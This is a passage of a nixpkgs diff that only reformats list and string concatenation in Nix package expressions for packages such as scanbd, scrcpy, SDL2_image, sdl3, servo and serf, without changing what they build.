@@ -51,19 +50,18 @@ stdenv.mkDerivation rec {
       lp_solve
     ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_TESTS" doCheck)
-    ]
-    ++ lib.optionals withGurobi [
-      (lib.cmakeFeature "GUROBI_ROOT_DIR" "${gurobi}")
-    ]
-    ++ lib.optionals withCplex [
-      (lib.cmakeFeature "CPLEX_ROOT_DIR" "${cplex}")
-    ]
-    ++ lib.optionals withLpsolve [
-      (lib.cmakeFeature "LPSOLVE_ROOT_DIR" "${lp_solve}")
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_TESTS" doCheck)
+  ]
+  ++ lib.optionals withGurobi [
+    (lib.cmakeFeature "GUROBI_ROOT_DIR" "${gurobi}")
+  ]
+  ++ lib.optionals withCplex [
+    (lib.cmakeFeature "CPLEX_ROOT_DIR" "${cplex}")
+  ]
+  ++ lib.optionals withLpsolve [
+    (lib.cmakeFeature "LPSOLVE_ROOT_DIR" "${lp_solve}")
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/by-name/sc/scanbd/package.nix b/pkgs/by-name/sc/scanbd/package.nix
index d04226c6b4a8..b80f271d225c 100644
--- a/pkgs/by-name/sc/scanbd/package.nix
+++ b/pkgs/by-name/sc/scanbd/package.nix
@@ -28,18 +28,17 @@ stdenv.mkDerivation rec {
     systemd
   ];
 
-  configureFlags =
-    [
-      "--disable-Werror"
-      "--enable-udev"
-      "--with-scanbdconfdir=/etc/scanbd"
-      "--with-systemdsystemunitdir=$out/lib/systemd/system"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      # AC_FUNC_MALLOC is broken on cross builds.
-      "ac_cv_func_malloc_0_nonnull=yes"
-      "ac_cv_func_realloc_0_nonnull=yes"
-    ];
+  configureFlags = [
+    "--disable-Werror"
+    "--enable-udev"
+    "--with-scanbdconfdir=/etc/scanbd"
+    "--with-systemdsystemunitdir=$out/lib/systemd/system"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    # AC_FUNC_MALLOC is broken on cross builds.
+    "ac_cv_func_malloc_0_nonnull=yes"
+    "ac_cv_func_realloc_0_nonnull=yes"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/sc/scdoc/package.nix b/pkgs/by-name/sc/scdoc/package.nix
index c22e194d6390..a0bd50156860 100644
--- a/pkgs/by-name/sc/scdoc/package.nix
+++ b/pkgs/by-name/sc/scdoc/package.nix
@@ -27,13 +27,12 @@ stdenv.mkDerivation (finalAttrs: {
       --replace "LDFLAGS+=-static" "LDFLAGS+="
   '';
 
-  makeFlags =
-    [
-      "PREFIX=${placeholder "out"}"
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      "HOST_SCDOC=${lib.getExe buildPackages.scdoc}"
-    ];
+  makeFlags = [
+    "PREFIX=${placeholder "out"}"
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    "HOST_SCDOC=${lib.getExe buildPackages.scdoc}"
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/by-name/sc/schismtracker/package.nix b/pkgs/by-name/sc/schismtracker/package.nix
index 738a85d9d2ac..703faa2bae4d 100644
--- a/pkgs/by-name/sc/schismtracker/package.nix
+++ b/pkgs/by-name/sc/schismtracker/package.nix
@@ -32,19 +32,18 @@ stdenv.mkDerivation rec {
       --replace-fail 'git log' 'echo ${version} #'
   '';
 
-  configureFlags =
-    [
-      (lib.enableFeature true "dependency-tracking")
-      (lib.withFeature true "sdl2")
-      (lib.enableFeature true "sdl2-linking")
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      (lib.enableFeature true "alsa")
-      (lib.enableFeature true "alsa-linking")
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (lib.enableFeature false "sdltest")
-    ];
+  configureFlags = [
+    (lib.enableFeature true "dependency-tracking")
+    (lib.withFeature true "sdl2")
+    (lib.enableFeature true "sdl2-linking")
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    (lib.enableFeature true "alsa")
+    (lib.enableFeature true "alsa-linking")
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (lib.enableFeature false "sdltest")
+  ];
 
   strictDeps = true;
 
@@ -54,16 +53,15 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      SDL2
-      libX11
-      utf8proc
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      libXext
-    ];
+  buildInputs = [
+    SDL2
+    libX11
+    utf8proc
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    libXext
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/sc/scilab-bin/package.nix b/pkgs/by-name/sc/scilab-bin/package.nix
index d79508f08316..3c6fd4251f41 100644
--- a/pkgs/by-name/sc/scilab-bin/package.nix
+++ b/pkgs/by-name/sc/scilab-bin/package.nix
@@ -84,23 +84,22 @@ let
       autoPatchelfHook
     ];
 
-    buildInputs =
-      [
-        alsa-lib
-        ncurses5
-        stdenv.cc.cc
-      ]
-      ++ (with xorg; [
-        libX11
-        libXcursor
-        libXext
-        libXft
-        libXi
-        libXrandr
-        libXrender
-        libXtst
-        libXxf86vm
-      ]);
+    buildInputs = [
+      alsa-lib
+      ncurses5
+      stdenv.cc.cc
+    ]
+    ++ (with xorg; [
+      libX11
+      libXcursor
+      libXext
+      libXft
+      libXi
+      libXrandr
+      libXrender
+      libXtst
+      libXxf86vm
+    ]);
 
     installPhase = ''
       runHook preInstall
diff --git a/pkgs/by-name/sc/scopehal-apps/package.nix b/pkgs/by-name/sc/scopehal-apps/package.nix
index aa7d247526b2..6f1b7c147bcd 100644
--- a/pkgs/by-name/sc/scopehal-apps/package.nix
+++ b/pkgs/by-name/sc/scopehal-apps/package.nix
@@ -39,40 +39,38 @@ stdenv.mkDerivation {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-      shaderc
-      spirv-tools
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      wrapGAppsHook4
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    shaderc
+    spirv-tools
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    wrapGAppsHook4
+  ];
 
-  buildInputs =
-    [
-      cairomm
-      glew
-      glfw
-      glslang
-      liblxi
-      libsigcxx
-      vulkan-headers
-      vulkan-loader
-      vulkan-tools
-      yaml-cpp
-      zstd
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      ffts
-      gtkmm3
-      libtirpc
-    ]
-    ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      moltenvk
-    ];
+  buildInputs = [
+    cairomm
+    glew
+    glfw
+    glslang
+    liblxi
+    libsigcxx
+    vulkan-headers
+    vulkan-loader
+    vulkan-tools
+    yaml-cpp
+    zstd
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    ffts
+    gtkmm3
+    libtirpc
+  ]
+  ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    moltenvk
+  ];
 
   # Targets InitializeSearchPaths
   postPatch = ''
diff --git a/pkgs/by-name/sc/scrcpy/package.nix b/pkgs/by-name/sc/scrcpy/package.nix
index c5f92b9a706c..f1dadc09d483 100644
--- a/pkgs/by-name/sc/scrcpy/package.nix
+++ b/pkgs/by-name/sc/scrcpy/package.nix
@@ -63,18 +63,17 @@ stdenv.mkDerivation rec {
     echo -n > server/meson.build
   '';
 
-  postInstall =
-    ''
-      mkdir -p "$out/share/scrcpy"
-      ln -s "${prebuilt_server}" "$out/share/scrcpy/scrcpy-server"
+  postInstall = ''
+    mkdir -p "$out/share/scrcpy"
+    ln -s "${prebuilt_server}" "$out/share/scrcpy/scrcpy-server"
 
-      # runtime dep on `adb` to push the server
-      wrapProgram "$out/bin/scrcpy" --prefix PATH : "${android-tools}/bin"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace $out/share/applications/scrcpy-console.desktop \
-        --replace "/bin/bash" "${runtimeShell}"
-    '';
+    # runtime dep on `adb` to push the server
+    wrapProgram "$out/bin/scrcpy" --prefix PATH : "${android-tools}/bin"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace $out/share/applications/scrcpy-console.desktop \
+      --replace "/bin/bash" "${runtimeShell}"
+  '';
 
   meta = {
     description = "Display and control Android devices over USB or TCP/IP";
diff --git a/pkgs/by-name/sc/screen-pipe/package.nix b/pkgs/by-name/sc/screen-pipe/package.nix
index 36118fc16fdd..a54576c598a1 100644
--- a/pkgs/by-name/sc/screen-pipe/package.nix
+++ b/pkgs/by-name/sc/screen-pipe/package.nix
@@ -41,21 +41,20 @@ rustPlatform.buildRustPackage rec {
     rustPlatform.bindgenHook
   ];
 
-  buildInputs =
-    [
-      dbus
-      ffmpeg
-      oniguruma
-      openssl
-      sqlite
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_12
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      xorg.libxcb
-    ];
+  buildInputs = [
+    dbus
+    ffmpeg
+    oniguruma
+    openssl
+    sqlite
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_12
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    xorg.libxcb
+  ];
 
   buildFeatures = lib.optional stdenv.hostPlatform.isDarwin "metal";
 
diff --git a/pkgs/by-name/sd/SDL2_image/package.nix b/pkgs/by-name/sd/SDL2_image/package.nix
index 06d6d99209dd..4b60b11eecc4 100644
--- a/pkgs/by-name/sd/SDL2_image/package.nix
+++ b/pkgs/by-name/sd/SDL2_image/package.nix
@@ -31,34 +31,32 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      SDL2
-      libtiff
-      libwebp
-      zlib
-    ]
-    ++ lib.optionals (!enableSTB) [
-      libjpeg
-      libpng
-    ];
+  buildInputs = [
+    SDL2
+    libtiff
+    libwebp
+    zlib
+  ]
+  ++ lib.optionals (!enableSTB) [
+    libjpeg
+    libpng
+  ];
 
-  configureFlags =
-    [
-      # Disable dynamically loaded dependencies
-      (lib.enableFeature false "jpg-shared")
-      (lib.enableFeature false "png-shared")
-      (lib.enableFeature false "tif-shared")
-      (lib.enableFeature false "webp-shared")
-      (lib.enableFeature enableSTB "stb-image")
-      (lib.enableFeature enableSdltest "sdltest")
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Don't use native macOS frameworks
-      # Caution: do not set this as (!stdenv.hostPlatform.isDarwin) since it would be true
-      # outside Darwin - and ImageIO does not exist outside Darwin
-      (lib.enableFeature false "imageio")
-    ];
+  configureFlags = [
+    # Disable dynamically loaded dependencies
+    (lib.enableFeature false "jpg-shared")
+    (lib.enableFeature false "png-shared")
+    (lib.enableFeature false "tif-shared")
+    (lib.enableFeature false "webp-shared")
+    (lib.enableFeature enableSTB "stb-image")
+    (lib.enableFeature enableSdltest "sdltest")
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Don't use native macOS frameworks
+    # Caution: do not set this as (!stdenv.hostPlatform.isDarwin) since it would be true
+    # outside Darwin - and ImageIO does not exist outside Darwin
+    (lib.enableFeature false "imageio")
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/sd/SDL2_ttf/package.nix b/pkgs/by-name/sd/SDL2_ttf/package.nix
index f8968606c561..fe27887ddfbb 100644
--- a/pkgs/by-name/sd/SDL2_ttf/package.nix
+++ b/pkgs/by-name/sd/SDL2_ttf/package.nix
@@ -26,15 +26,14 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      SDL2
-      freetype
-      harfbuzz
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libGL
-    ];
+  buildInputs = [
+    SDL2
+    freetype
+    harfbuzz
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libGL
+  ];
 
   configureFlags = [
     (lib.enableFeature false "harfbuzz-builtin")
diff --git a/pkgs/by-name/sd/SDL_compat/package.nix b/pkgs/by-name/sd/SDL_compat/package.nix
index 683d6eb38c98..e61692af5306 100644
--- a/pkgs/by-name/sd/SDL_compat/package.nix
+++ b/pkgs/by-name/sd/SDL_compat/package.nix
@@ -36,27 +36,25 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-f2dl3L7/qoYNl4sjik1npcW/W09zsEumiV9jHuKnUmM=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      autoSignDarwinBinariesHook
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    autoSignDarwinBinariesHook
+  ];
 
   # re-export PKG_CHECK_MODULES m4 macro used by sdl.m4
   propagatedNativeBuildInputs = [ pkg-config-unwrapped ];
 
-  buildInputs =
-    [
-      libX11
-      sdl2-compat
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ]
-    ++ lib.optionals openglSupport [ libGLU ];
+  buildInputs = [
+    libX11
+    sdl2-compat
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ]
+  ++ lib.optionals openglSupport [ libGLU ];
 
   postPatch = ''
     substituteInPlace CMakeLists.txt \
diff --git a/pkgs/by-name/sd/sdcc/package.nix b/pkgs/by-name/sd/sdcc/package.nix
index 78a452012c9b..47921b2f3283 100644
--- a/pkgs/by-name/sd/sdcc/package.nix
+++ b/pkgs/by-name/sd/sdcc/package.nix
@@ -45,14 +45,13 @@ stdenv.mkDerivation (finalAttrs: {
   #
   # sdcc's tracking issue:
   # <https://sourceforge.net/p/sdcc/bugs/3848/>
-  outputs =
-    [
-      "out"
-      "doc"
-    ]
-    ++ lib.optionals (!stdenv.isDarwin) [
-      "man"
-    ];
+  outputs = [
+    "out"
+    "doc"
+  ]
+  ++ lib.optionals (!stdenv.isDarwin) [
+    "man"
+  ];
 
   enableParallelBuilding = true;
 
@@ -62,15 +61,14 @@ stdenv.mkDerivation (finalAttrs: {
     flex
   ];
 
-  buildInputs =
-    [
-      boost
-      texinfo
-      zlib
-    ]
-    ++ lib.optionals withGputils [
-      gputils
-    ];
+  buildInputs = [
+    boost
+    texinfo
+    zlib
+  ]
+  ++ lib.optionals withGputils [
+    gputils
+  ];
 
   # sdcc 4.5.0 massively rewrote sim/ucsim/Makefile.in, and lost the `.PHONY`
   # rule in the process. As a result, on macOS (which uses a case-insensitive
diff --git a/pkgs/by-name/sd/sdl2-compat/package.nix b/pkgs/by-name/sd/sdl2-compat/package.nix
index ee975d422139..9598948508ef 100644
--- a/pkgs/by-name/sd/sdl2-compat/package.nix
+++ b/pkgs/by-name/sd/sdl2-compat/package.nix
@@ -71,22 +71,21 @@ stdenv.mkDerivation (finalAttrs: {
   '';
 
   passthru = {
-    tests =
-      {
-        pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage;
+    tests = {
+      pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage;
 
-        inherit
-          SDL2_ttf
-          SDL2_net
-          SDL2_gfx
-          SDL2_sound
-          SDL2_mixer
-          SDL2_image
-          ;
-      }
-      // lib.optionalAttrs stdenv.hostPlatform.isLinux {
-        inherit monado;
-      };
+      inherit
+        SDL2_ttf
+        SDL2_net
+        SDL2_gfx
+        SDL2_sound
+        SDL2_mixer
+        SDL2_image
+        ;
+    }
+    // lib.optionalAttrs stdenv.hostPlatform.isLinux {
+      inherit monado;
+    };
 
     updateScript = nix-update-script {
       extraArgs = [
diff --git a/pkgs/by-name/sd/sdl3-image/package.nix b/pkgs/by-name/sd/sdl3-image/package.nix
index f9fd8ac47418..b09a3be81172 100644
--- a/pkgs/by-name/sd/sdl3-image/package.nix
+++ b/pkgs/by-name/sd/sdl3-image/package.nix
@@ -42,17 +42,16 @@ stdenv.mkDerivation (finalAttrs: {
     validatePkgConfig
   ];
 
-  buildInputs =
-    [
-      sdl3
-      libtiff
-      libwebp
-      libavif
-    ]
-    ++ (lib.optionals (!enableSTB) [
-      libpng
-      libjpeg
-    ]);
+  buildInputs = [
+    sdl3
+    libtiff
+    libwebp
+    libavif
+  ]
+  ++ (lib.optionals (!enableSTB) [
+    libpng
+    libjpeg
+  ]);
 
   cmakeFlags = [
     # fail when a dependency could not be found
diff --git a/pkgs/by-name/sd/sdl3-ttf/package.nix b/pkgs/by-name/sd/sdl3-ttf/package.nix
index 1dc4596bdcc0..ebd94965e1a2 100644
--- a/pkgs/by-name/sd/sdl3-ttf/package.nix
+++ b/pkgs/by-name/sd/sdl3-ttf/package.nix
@@ -32,7 +32,8 @@ stdenv.mkDerivation (finalAttrs: {
     cmake
     ninja
     validatePkgConfig
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ];
 
   buildInputs = [
     sdl3
diff --git a/pkgs/by-name/sd/sdl3/package.nix b/pkgs/by-name/sd/sdl3/package.nix
index c7712ef91382..edb4a3821e2f 100644
--- a/pkgs/by-name/sd/sdl3/package.nix
+++ b/pkgs/by-name/sd/sdl3/package.nix
@@ -88,7 +88,8 @@ stdenv.mkDerivation (finalAttrs: {
     cmake
     ninja
     validatePkgConfig
-  ] ++ lib.optional waylandSupport wayland-scanner;
+  ]
+  ++ lib.optional waylandSupport wayland-scanner;
 
   buildInputs =
     finalAttrs.dlopenBuildInputs
@@ -203,14 +204,13 @@ stdenv.mkDerivation (finalAttrs: {
       };
     });
 
-    tests =
-      {
-        pkg-config = testers.hasPkgConfigModules { package = finalAttrs.finalPackage; };
-        inherit (finalAttrs.passthru) debug-text-example;
-      }
-      // lib.optionalAttrs stdenv.hostPlatform.isLinux {
-        nixosTest = nixosTests.sdl3;
-      };
+    tests = {
+      pkg-config = testers.hasPkgConfigModules { package = finalAttrs.finalPackage; };
+      inherit (finalAttrs.passthru) debug-text-example;
+    }
+    // lib.optionalAttrs stdenv.hostPlatform.isLinux {
+      nixosTest = nixosTests.sdl3;
+    };
 
     updateScript = nix-update-script {
       extraArgs = [
diff --git a/pkgs/by-name/sd/sdrpp/package.nix b/pkgs/by-name/sd/sdrpp/package.nix
index 8e486eee2594..847fea651aae 100644
--- a/pkgs/by-name/sd/sdrpp/package.nix
+++ b/pkgs/by-name/sd/sdrpp/package.nix
@@ -98,37 +98,36 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      glfw
-      glew
-      fftwFloat
-      volk
-      zstd
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux libX11
-    ++ lib.optional airspy_source airspy
-    ++ lib.optional airspyhf_source airspyhf
-    ++ lib.optional bladerf_source libbladeRF
-    ++ lib.optional hackrf_source hackrf
-    ++ lib.optional limesdr_source limesuite
-    ++ lib.optionals rtl_sdr_source [
-      rtl-sdr-osmocom
-      libusb1
-    ]
-    ++ lib.optional sdrplay_source sdrplay
-    ++ lib.optional soapy_source soapysdr-with-plugins
-    ++ lib.optionals plutosdr_source [
-      libiio
-      libad9361
-    ]
-    ++ lib.optionals usrp_source [
-      uhd
-      boost
-    ]
-    ++ lib.optional audio_sink rtaudio
-    ++ lib.optional portaudio_sink portaudio
-    ++ lib.optional m17_decoder codec2;
+  buildInputs = [
+    glfw
+    glew
+    fftwFloat
+    volk
+    zstd
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux libX11
+  ++ lib.optional airspy_source airspy
+  ++ lib.optional airspyhf_source airspyhf
+  ++ lib.optional bladerf_source libbladeRF
+  ++ lib.optional hackrf_source hackrf
+  ++ lib.optional limesdr_source limesuite
+  ++ lib.optionals rtl_sdr_source [
+    rtl-sdr-osmocom
+    libusb1
+  ]
+  ++ lib.optional sdrplay_source sdrplay
+  ++ lib.optional soapy_source soapysdr-with-plugins
+  ++ lib.optionals plutosdr_source [
+    libiio
+    libad9361
+  ]
+  ++ lib.optionals usrp_source [
+    uhd
+    boost
+  ]
+  ++ lib.optional audio_sink rtaudio
+  ++ lib.optional portaudio_sink portaudio
+  ++ lib.optional m17_decoder codec2;
 
   cmakeFlags = [
     # Sources
diff --git a/pkgs/by-name/se/segger-jlink/package.nix b/pkgs/by-name/se/segger-jlink/package.nix
index ac5ec4c97d8c..e8fd58074cb4 100644
--- a/pkgs/by-name/se/segger-jlink/package.nix
+++ b/pkgs/by-name/se/segger-jlink/package.nix
@@ -60,13 +60,12 @@ stdenv.mkDerivation {
   pname = "segger-jlink";
   inherit src version;
 
-  nativeBuildInputs =
-    [
-      autoPatchelfHook
-    ]
-    ++ lib.optionals (!headless) [
-      copyDesktopItems
-    ];
+  nativeBuildInputs = [
+    autoPatchelfHook
+  ]
+  ++ lib.optionals (!headless) [
+    copyDesktopItems
+  ];
 
   buildInputs = lib.optionals (!headless) [
     qt4-bundled
diff --git a/pkgs/by-name/se/selinux-refpolicy/package.nix b/pkgs/by-name/se/selinux-refpolicy/package.nix
index 08c73e68b116..803f0ab75f1f 100644
--- a/pkgs/by-name/se/selinux-refpolicy/package.nix
+++ b/pkgs/by-name/se/selinux-refpolicy/package.nix
@@ -34,22 +34,21 @@ stdenv.mkDerivation (finalAttrs: {
     runHook postConfigure
   '';
 
-  makeFlags =
-    [
-      "CHECKPOLICY=${lib.getExe checkpolicy}"
-      "CHECKMODULE=${lib.getExe' checkpolicy "checkmodule"}"
-      "SEMODULE=${lib.getExe' policycoreutils "semodule"}"
-      "SEMOD_PKG=${lib.getExe' semodule-utils "semodule_package"}"
-      "SEMOD_LNK=${lib.getExe' semodule-utils "semodule_link"}"
-      "SEMOD_EXP=${lib.getExe' semodule-utils "semodule_expand"}"
-      "DESTDIR=${placeholder "out"}"
-      "prefix=${placeholder "out"}"
-      "DISTRO=nixos"
-      "SYSTEMD=y"
-      "UBAC=y"
-    ]
-    ++ lib.optional (policyVersion != null) "OUTPUT_POLICY=${toString policyVersion}"
-    ++ lib.optional (moduleVersion != null) "OUTPUT_MODULE=${toString moduleVersion}";
+  makeFlags = [
+    "CHECKPOLICY=${lib.getExe checkpolicy}"
+    "CHECKMODULE=${lib.getExe' checkpolicy "checkmodule"}"
+    "SEMODULE=${lib.getExe' policycoreutils "semodule"}"
+    "SEMOD_PKG=${lib.getExe' semodule-utils "semodule_package"}"
+    "SEMOD_LNK=${lib.getExe' semodule-utils "semodule_link"}"
+    "SEMOD_EXP=${lib.getExe' semodule-utils "semodule_expand"}"
+    "DESTDIR=${placeholder "out"}"
+    "prefix=${placeholder "out"}"
+    "DISTRO=nixos"
+    "SYSTEMD=y"
+    "UBAC=y"
+  ]
+  ++ lib.optional (policyVersion != null) "OUTPUT_POLICY=${toString policyVersion}"
+  ++ lib.optional (moduleVersion != null) "OUTPUT_MODULE=${toString moduleVersion}";
 
   installTargets = "all install install-headers install-docs";
 
diff --git a/pkgs/by-name/se/semantic-release/package.nix b/pkgs/by-name/se/semantic-release/package.nix
index 17d014b2c562..33774b0f526d 100644
--- a/pkgs/by-name/se/semantic-release/package.nix
+++ b/pkgs/by-name/se/semantic-release/package.nix
@@ -24,7 +24,8 @@ buildNpmPackage rec {
 
   nativeBuildInputs = [
     python3
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin cctools;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin cctools;
 
   # Fixes `semantic-release --version` output
   postPatch = ''
diff --git a/pkgs/by-name/se/sequoia-wot/package.nix b/pkgs/by-name/se/sequoia-wot/package.nix
index d949f6743ca0..11329e62b6d1 100644
--- a/pkgs/by-name/se/sequoia-wot/package.nix
+++ b/pkgs/by-name/se/sequoia-wot/package.nix
@@ -30,14 +30,13 @@ rustPlatform.buildRustPackage rec {
     installShellFiles
   ];
 
-  buildInputs =
-    [
-      openssl
-      sqlite
-    ]
-    ++ lib.optionals (!stdenv.targetPlatform.isWindows) [
-      nettle
-    ];
+  buildInputs = [
+    openssl
+    sqlite
+  ]
+  ++ lib.optionals (!stdenv.targetPlatform.isWindows) [
+    nettle
+  ];
 
   buildFeatures = [
     # Upstream uses the sequoia-openpgp crate, which doesn't force you to use a
diff --git a/pkgs/by-name/se/serf/package.nix b/pkgs/by-name/se/serf/package.nix
index 1d194d2c4356..923e1c2a04bf 100644
--- a/pkgs/by-name/se/serf/package.nix
+++ b/pkgs/by-name/se/serf/package.nix
@@ -32,7 +32,8 @@ stdenv.mkDerivation rec {
     aprutil
     zlib
     libiconv
-  ] ++ lib.optional (!stdenv.hostPlatform.isCygwin) libkrb5;
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isCygwin) libkrb5;
 
   patches = [
     ./scons.patch
@@ -45,17 +46,16 @@ stdenv.mkDerivation rec {
 
   prefixKey = "PREFIX=";
 
-  preConfigure =
-    ''
-      appendToVar sconsFlags "APR=$(echo ${apr.dev}/bin/*-config)"
-      appendToVar sconsFlags "APU=$(echo ${aprutil.dev}/bin/*-config)"
-      appendToVar sconsFlags "CC=$CC"
-      appendToVar sconsFlags "OPENSSL=${openssl}"
-      appendToVar sconsFlags "ZLIB=${zlib}"
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isCygwin) ''
-      appendToVar sconsFlags "GSSAPI=${libkrb5.dev}"
-    '';
+  preConfigure = ''
+    appendToVar sconsFlags "APR=$(echo ${apr.dev}/bin/*-config)"
+    appendToVar sconsFlags "APU=$(echo ${aprutil.dev}/bin/*-config)"
+    appendToVar sconsFlags "CC=$CC"
+    appendToVar sconsFlags "OPENSSL=${openssl}"
+    appendToVar sconsFlags "ZLIB=${zlib}"
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isCygwin) ''
+    appendToVar sconsFlags "GSSAPI=${libkrb5.dev}"
+  '';
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/se/servo/package.nix b/pkgs/by-name/se/servo/package.nix
index 6b1fdc88b966..83a853b784ba 100644
--- a/pkgs/by-name/se/servo/package.nix
+++ b/pkgs/by-name/se/servo/package.nix
@@ -114,29 +114,28 @@ rustPlatform.buildRustPackage {
 
   env.UV_PYTHON = customPython.interpreter;
 
-  buildInputs =
-    [
-      fontconfig
-      freetype
-      gst_all_1.gstreamer
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-good
-      gst_all_1.gst-plugins-bad
-      gst_all_1.gst-plugins-ugly
-      harfbuzz
-      libunwind
-      libGL
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      wayland
-      xorg.libX11
-      xorg.libxcb
-      udev
-      vulkan-loader
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_14
-    ];
+  buildInputs = [
+    fontconfig
+    freetype
+    gst_all_1.gstreamer
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-good
+    gst_all_1.gst-plugins-bad
+    gst_all_1.gst-plugins-ugly
+    harfbuzz
+    libunwind
+    libGL
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    wayland
+    xorg.libX11
+    xorg.libxcb
+    udev
+    vulkan-loader
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_14
+  ];
 
   # Builds with additional features for aarch64, see https://github.com/servo/servo/issues/36819
   buildFeatures = lib.optionals stdenv.hostPlatform.isAarch64 [
diff --git a/pkgs/by-name/se/setroot/package.nix b/pkgs/by-name/se/setroot/package.nix
index 7bb722ffdb15..2e6cc2d6f8cd 100644
--- a/pkgs/by-name/se/setroot/package.nix
+++ b/pkgs/by-name/se/setroot/package.nix
@@ -33,7 +33,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     libX11
     imlib2
-  ] ++ lib.optionals enableXinerama [ libXinerama ];
+  ]
+  ++ lib.optionals enableXinerama [ libXinerama ];
 
   buildFlags = [ (if enableXinerama then "xinerama=1" else "xinerama=0") ];
 
diff --git a/pkgs/by-name/sf/sfeed/package.nix b/pkgs/by-name/sf/sfeed/package.nix
index 5a03727e8561..0cdc16766158 100644
--- a/pkgs/by-name/sf/sfeed/package.nix
+++ b/pkgs/by-name/sf/sfeed/package.nix
@@ -17,13 +17,12 @@ stdenv.mkDerivation (finalAttrs: {
 
   buildInputs = [ ncurses ];
 
-  makeFlags =
-    [
-      "RANLIB:=$(RANLIB)"
-      "SFEED_CURSES_LDFLAGS:=-lncurses"
-    ]
-    # use macOS's strlcat() and strlcpy() instead of vendored ones
-    ++ lib.optional stdenv.hostPlatform.isDarwin "COMPATOBJ:=";
+  makeFlags = [
+    "RANLIB:=$(RANLIB)"
+    "SFEED_CURSES_LDFLAGS:=-lncurses"
+  ]
+  # use macOS's strlcat() and strlcpy() instead of vendored ones
+  ++ lib.optional stdenv.hostPlatform.isDarwin "COMPATOBJ:=";
 
   installFlags = [ "PREFIX=$(out)" ];
 
diff --git a/pkgs/by-name/sf/sfml/package.nix b/pkgs/by-name/sf/sfml/package.nix
index 0d5babc71467..c6066a4fdefb 100644
--- a/pkgs/by-name/sf/sfml/package.nix
+++ b/pkgs/by-name/sf/sfml/package.nix
